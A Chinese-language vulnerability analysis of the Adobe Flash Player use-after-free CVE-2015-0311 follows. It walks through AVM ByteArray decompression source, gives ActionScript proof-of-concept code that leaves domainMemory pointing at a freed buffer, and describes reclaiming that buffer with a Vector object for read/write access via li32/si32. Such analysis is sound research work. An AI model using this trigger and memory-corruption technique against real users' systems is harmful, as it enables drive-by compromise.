导语:Adobe公司在2015年1月份修复了一个影响Adobe Flash Player 16.0.0.287以及更早版本的UAF漏洞,即CVE-2015-0311。
Adobe公司在2015年1月份修复了一个影响Adobe Flash Player 16.0.0.287以及更早版本的UAF漏洞,即CVE-2015-0311。攻击者可以通过精心构造的SWF Flash文件触发该漏洞,导致用户在访问网站时受到攻击。
我们发现ActionScript Virtual Machine (AVM)在ByteArray::UncompressViaZlibVariant方法中会解码ByteArray中的数据,该数据之前使用AS代码zlib库编码过。该方法使用ByteArray::Grower对象会向目标缓冲区中动态的存放解码后的数据。
当目标缓冲区的数据填写完毕后,Grower对象的析构函数将会通知所有使用ByteArray 编码数据的对象必须为新近增长的缓冲区。
但是问题出现在zlib库的inflate函数,因为ByteArray中的数据不是有效的zlib-compressed数据。这样的结果就会导致ByteArray::UncompressViaZlibVariant()方法释放掉目标缓冲区,然后重新存储ByteArray中的数据。
然而,其他ByteArray数据使用者(ApplicationDomain.currentDomain.domainMemory)不知道该缓冲区已经释放掉了,因此ApplicationDomain.currentDomain.domainMemory中将保持一个该释放缓冲区的悬挂指针。
我们首先需要知道当AS代码通过Uncompress()方法调用ByteArray对象时发生了什么。
当解码ByteArray时,ByteArray::Uncompress()方法会调用解码函数进行解码。我们看看zlib的一个例子。
void ByteArray::Uncompress(CompressionAlgorithm algorithm) { switch (algorithm) { case k_lzma: UncompressViaLzma(); break; case k_zlib: default: UncompressViaZlibVariant(algorithm); break; }
ByteArray::UncompressViaZlibVariant()方法调用zlib的库函数inflate()循环解码ByteArray数据块,代码片段如下:
void ByteArray::UncompressViaZlibVariant(CompressionAlgorithm algorithm) { [...] while (error == Z_OK) { stream.next_out = scratch; stream.avail_out = kScratchSize; error = inflate(&stream, Z_NO_FLUSH); Write(scratch, kScratchSize - stream.avail_out); } inflateEnd(&stream); [...]
调用zlib的库函数inflate()后,ByteArray类中的Write()方法将解码后的数据拷贝到目标缓冲区:
void ByteArray::Write(const void* buffer, uint32_t count) { if (count > UINT32_T_MAX - m_position) // Do not rearrange, guards against 64-bit overflow ThrowMemoryError(); uint32_t writeEnd = m_position + count; Grower grower(this, writeEnd); grower.EnsureWritableCapacity(); move_or_copy(m_buffer->array + m_position, buffer, count); m_position += count; if (m_buffer->length < m_position) m_buffer->length = m_position; }
可以看到,该方法实例了一个Grower()类,并调用EnsureWritableCapacity()方法增加目标缓冲区。该实例对象属于ByteArray::Write()方法,因此当该方法执行时,Grower()类也会被调用。
下面是Grower()类的析构函数。它调用ByteArray类的NotifySubscribers()方法:
ByteArray::Grower::~Grower() { if (m_oldArray != m_owner->m_buffer->array || m_oldLength != m_owner->m_buffer->length) { m_owner->NotifySubscribers(); } [...]
ByteArray::NotifySubscribers()调用notifyGlobalMemoryChanged()方法确认新近增长缓冲区的地址和大小:
void ByteArray::NotifySubscribers() { for (uint32_t i = 0, n = m_subscribers.length(); i < n; ++i) { AvmAssert(m_buffer->length >= DomainEnv::GLOBAL_MEMORY_MIN_SIZE); DomainEnv* subscriber = m_subscribers.get(i); if (subscriber) { subscriber->notifyGlobalMemoryChanged(m_buffer->array, m_buffer->length); } else { // Domain went away? remove link m_subscribers.removeAt(i); --i; } } }
最后,DomainEnv::notifyGlobalMemoryChanged()方法更新全局内存的地址和大小。该方法实际上是修改ApplicationDomain.currentDomain.domainMemory的基地址和大小:
// memory changed so go through and update all reference to both the base // and the size of the global memory void DomainEnv::notifyGlobalMemoryChanged(uint8_t* newBase, uint32_t newSize) { AvmAssert(newBase != NULL); // real base address AvmAssert(newSize >= GLOBAL_MEMORY_MIN_SIZE); // big enough m_globalMemoryBase = newBase; m_globalMemorySize = (newSize > 0x7fffffff) ? 0x7fffffff : newSize; TELEMETRY_UINT32(toplevel()->core()->getTelemetry(), ".mem.bytearray.alchemy",m_globalMemorySize/1024); }
一系列调用完毕后,重新回到ByteArray::UncompressViaZlibVariant() 方法的inflate() 和 Write()的循环体内。如果循环体内调用inflate()后的返回值不是0,则循环结束,接着就会校验数据是否完全被解码。如果出现意外,则代码回滚:调用TellGcDeleteBufferMemory() /mmfx_delete_array()释放新的缓冲区,原始的ByteArray数据重新存储,如下:
[...] if (error == Z_STREAM_END) { // everything is cool [...] else { // When we error: // 1) free the new buffer TellGcDeleteBufferMemory(m_buffer->array, m_buffer->capacity); mmfx_delete_array(m_buffer->array); if (cShared) { m_buffer = origBuffer; } // 2) put the original data back. m_buffer->array = origData; m_buffer->length = origLen; m_buffer->capacity = origCap; m_position = origPos; SetCopyOnWriteOwner(origCopyOnWriteOwner); origBuffer = NULL; // release ref before throwing toplevel()->throwIOError(kCompressedDataError); }
然而,其他ByteArray数据使用者(ApplicationDomain.currentDomain.domainMemory)不知道该缓冲区已经释放掉了,因此ApplicationDomain.currentDomain.domainMemory中将保持一个该释放缓冲区的悬挂指针。
下面我们需要重新生成该悬挂指针。向ByteArray中填充数据,使用zlib库编码后,在偏移值0x200处使用垃圾数据覆盖编码后的数据,接着将该ByteArray分配给ApplicationDomain.currentDomain.domainMemory,最后调用在我们的ByteArray中调用uncompress() 方法。
可能大家会有疑问为什么要在偏移值为0x200处覆盖编码后的数据。在ByteArray数据开头放置一些有意义的数据是为了让inflate()函数正常执行,完了再实例Grower类,增长目标缓冲区。
几次inflate() 和 Write()循环后,inflate()函数会解码垃圾数据,那么会导致失败。导致代码回滚,释放新的缓冲区,导致悬挂指针的产生。
下面的代码将重现漏洞,导致ApplicationDomain.currentDomain.domainMemory引用一个释放了的缓冲区:
this.byte_array = new ByteArray(); this.byte_array.endian = Endian.LITTLE_ENDIAN; this.byte_array.position = 0; /* Initialize the ByteArray with some data */ while (count < 0x2000 / 4){ this.byte_array.writeUnsignedInt(0xfeedface + count); count++; } /* Compress it with zlib */ this.byte_array.compress(); /* Overwrite the compressed data with junk, starting at offset 0x200 */ this.byte_array.position = 0x200; while (pos < byte_array.length){ this.byte_array.writeByte(pos); pos++; } /* Create a subscriber for that ByteArray */ ApplicationDomain.currentDomain.domainMemory = this.byte_array; /* Trigger the bug! ByteArray::UncompressViaZlibVariant will leave ApplicationDomain.currentDomain.domainMemory pointing to a buffer that is freed when the decompression fails. */ try{ this.byte_array.uncompress(); } catch(error:Error){ }
下面看一下AVM源码是如何使用DomainEnv::notifyGlobalMemoryChanged()方法更新全局内存的地址和大小:
m_globalMemoryBase = newBase; m_globalMemorySize = (newSize >0x7fffffff) ? 0x7fffffff : newSize;
m_globalMemoryBase(悬挂指针)和m_globalMemorySize是DomainEnv类的成员。通过下面的方法访问数据:
REALLY_INLINEuint8_t* globalMemoryBase() const { return m_globalMemoryBase; } REALLY_INLINEuint32_t globalMemorySize() const { return m_globalMemorySize; }
在AVM的源码中该方法的引用是位于core/Interpreter.cpp文件中:
#define MOPS_LOAD_INT(addr, type, call, result) MOPS_RANGE_CHECK(addr, type) union { const uint8_t* p8; const type* p; }; p8 = envDomain->globalMemoryBase() + (addr); result = *p; #define MOPS_STORE_INT(addr, type, call, value) MOPS_RANGE_CHECK(addr, type) union { uint8_t* p8; type* p; }; p8 = envDomain->globalMemoryBase() + (addr); *p = (type)(value);
下面的这些宏文件也是在同一个文件中使用:
INSTR(li32) { i1 = AvmCore::integer(sp[0]); // i1 = addr MOPS_LOAD_INT(i1, int32_t, li32, i32l); // i32l = result sp[0] = core->intToAtom(i32l); NEXT; } [...] INSTR(si32) { i32l = AvmCore::integer(sp[-1]); // i32l = value i1 = AvmCore::integer(sp[0]); // i1 = addr MOPS_STORE_INT(i1, uint32_t, si32, i32l); sp -= 2; NEXT; }
因此,为了引用该悬挂指针,我们需要使用low-level AVM指令,例如li8/si8, li16/si16, li32/si32等包中。
li8/si8,li16/si16, li32/si32指令可以在ApplicationDomain.currentDomain.domainMemory中使用,AS源码片段如下:
/* Read a 32-bit integer from m_globalMemoryBase + 0x20 */ var some_value:uint = li32(0x20); /* Overwrite the 32-bit integer at m_globalMemoryBase + 0x20 with 0xffffffff */ si32(0xffffffff, 0x20);
在inflate() 和 Write()函数体循环内下一个断点:
第一次断下后,进入ByteArray::Write()函数后再跟进DomainEnv::notifyGlobalMemoryChanged()方法,可以看到ApplicationDomain.currentDomain.domainMemory是如何更新的,该方法在Flash OCX文件中:
[EDX + 0x14]中存储的是缓冲区的地址,[EDX + 0x18]存储的是缓冲区的大小。
在我测试的环境中,ApplicationDomain.currentDomain.domainMemory更新过程如下:缓冲区地址是0x0a98c000,大小是0x1c32。
接着调用inflate()出错代码0xfffffffb,代码回滚:
进入该函数体内,可以看到是如何使用TellGcDeleteBufferMemory()函数释放缓冲区的:
注意到TellGcDeleteBufferMemory参数值为0x0a98c000和0x200f。0x200f显然是缓冲区大小,和缓冲区的长度不一样了(之前提到的0x1c32)。具体可以在core/ByteArrayGlue.h文件中看到:
class Buffer : public FixedHeapRCObject { public: virtual void destroy(); virtual ~Buffer(); uint8_t* array; uint32_t capacity; uint32_t length; };
Buffer.capacity是一个缓冲区能够保存的最大字节数(这里是0x200f),Buffer.length是实际值(0x1c32),因此值是不同的。
TellGcDeleteBufferMemory释放缓冲区:
因此,现在缓冲区已经释放了,接下来就是要向该缓冲区内分配特定的内存对象了。我这里是创建一个新的占位符的ByteArray,大小为0x2000,接着使用clear()方法释放,最后创建一个Vector.<Object>(510 * 3)对象。
这里已经让ApplicationDomain.currentDomain.domainMemory指向了Vector对象的起始处。接着可以通过AVM的指令,例如li32/si32执行一个read-and-write操作,这样就可以读取并修改Vector对象了。
下面的具体图解展示了如何触发这个bug以及向内存中分配Vector对象,并释放缓冲区: